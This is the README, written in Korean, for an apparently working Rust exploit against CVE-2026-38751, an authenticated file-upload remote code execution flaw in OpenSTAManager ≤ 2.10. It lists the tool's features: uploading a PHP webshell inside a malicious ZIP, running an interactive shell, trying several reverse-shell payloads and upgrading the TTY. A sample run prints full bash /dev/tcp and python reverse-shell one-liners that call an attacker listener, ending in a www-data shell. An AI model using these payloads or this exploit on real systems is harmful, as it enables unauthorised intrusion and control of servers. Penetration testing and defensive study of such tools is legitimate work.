
OpenSTAManager-RCE-Exploit-CVE-2026-38751
임의 파일 업로드를 통한 원격 코드 실행
CVE-2026-38751에 대한 완전한 기능을 갖춘 개념 증명(PoC)으로 Rust로 작성되었습니다.
경고: 이 도구는 승인된 보안 테스트 및 교육 목적으로만 사용해야 합니다. 소유한 시스템이나 명시적 허가를 받은 시스템에서만 사용하세요.
OpenSTAManager ≤ 2.10은 인증된 임의 파일 업로드 취약점에 노출되어 있으며, 공격자가 PHP 웹쉘을 포함한 악성 ZIP 아카이브를 업로드할 수 있습니다. 이 PoC는 다음 과정을 자동화합니다:
| 기능 | 설명 |
|---|---|
| 로그인 | 제공된 자격 증명을 사용하여 인증합니다. |
| ZIP 생성 | 유효한 MODULE 설명자와 PHP 쉘이 포함된 ZIP 파일을 생성합니다. |
| 파일 업로드 | 업데이트 메커니즘을 통해 악성 ZIP을 전송합니다. |
| 확인 | 쉘에 접근 가능한지 확인하고 테스트 명령(id)을 실행합니다. |
| 대화형 웹쉘 | 웹쉘을 통해 명령을 대화형으로 실행할 수 있습니다 (-i). |
| 리버스 셸 | 여러 페이로드(bash, python, base64, nc, mkfifo)를 전송하여 셸을 획득합니다. |
| TTY 업그레이드 안내 | 완전한 대화형 TTY를 얻기 위한 단계별 가이드를 보여줍니다. |
| 정리 | 업로드된 shell.php를 자동으로 제거합니다 (--no-cleanup이 아닌 경우). |
저장소를 클론하고 바이너리를 빌드합니다:
git clone https://github.com/yourusername/OpenSTAManager-RCE-Exploit-CVE-2026-38751
cd OpenSTAManager-RCE-Exploit-CVE-2026-38751
cargo build --release
./target/release/openstamanager-rce-exploit --help
$ ./openstamanager-rce-exploit --url http://target.com/ -U <user> -P <password> --lhost 10.10.14.5 --lport 4444
[ OpenSTAManager RCE Exploit : ]
Target: http://target.com/
[*] Step 1: Login...
[+] Login successful: admin
[*] Step 2: Enable updates...
[+] Updates enabled
[*] Step 3: Create ZIP...
[*] Created in-memory ZIP file
[*] Shell location: /modules/shell/shell.php
[*] Step 4: Upload...
[*] Upload status: 500 Internal Server Error
[+] Upload successful
[*] Step 5: Verify...
[+] Vulnerability confirmed!
[+] Shell: http://target.com/modules/shell/shell.php
[+] Test: http://target.com/modules/shell/shell.php?c=whoami
[*] Listening on 10.10.14.5:4444...
[*] Trying payload: bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'
[-] Payload failed: operation timed out
[*] Trying payload: python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.5",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
[-] Payload failed: operation timed out
[*] Trying payload: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.5",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
[+] Payload sent successfully. Waiting for connection...
[+] Connection received from 10.129.19.238:55758
[*] Sent 'script /dev/null -c bash'
[*]
[*] Reverse shell established.
[*] To get a fully interactive TTY:
[*] 1. Press Ctrl+Z to suspend the shell.
[*] 2. Run: stty raw -echo; fg
[*] 3. When prompted for terminal type, type: xterm
[*] 4. Export: export TERM=xterm SHELL=bash
[*] 5. Adjust rows/columns with: stty rows <rows> columns <cols>
[*] (Get the size with: stty size)
[*]
[*] Press Ctrl+C to exit and cleanup the webshell.
bash: cannot set terminal process group (1481): Inappropriate ioctl for device
bash: no job control in this shell
www-data@target:~/html/openstamanager/modules/shell$ script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@target:~/html/openstamanager/modules/shell$ whoami
whoami
www-data
www-data@target:~/html/openstamanager/modules/shell$